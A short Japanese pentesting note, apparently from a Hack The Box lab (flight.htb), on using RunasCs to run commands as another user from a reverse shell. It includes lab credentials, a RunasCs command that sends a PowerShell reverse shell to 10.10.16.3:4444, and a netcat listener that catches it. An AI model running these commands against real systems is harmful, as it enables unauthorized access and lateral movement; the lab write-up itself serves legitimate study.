runas command on reverse shell
revshell上でrunasコマンドのパスワード入力がスキップされてしまう。
そこで、RunasCsコマンドを使う。
code:Windows
PS C:\Users\Tom> Invoke-RunasCs -Username Bob -Password Passw0rd123 -Domain flight.htb -Command whoami
* Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)... flight\Bob
C:\Users\Tom> RunasCs.exe Bob Password123 whoami
リバースシェル
powershell.exeの-Remoteオプションで簡単にリバースシェルがとれる!
code:Windows
PS C:\Users\Tom> Invoke-RunasCs -Username Bob -Password Passw0rd123 -Domain flight.htb -Command powershell.exe -Remote 10.10.16.3:4444
code:Kali
└─$ rlwrap nc -nvlp 4444
listening on any 4444 ... PS C:\Windows\system32> whoami
flight\Bob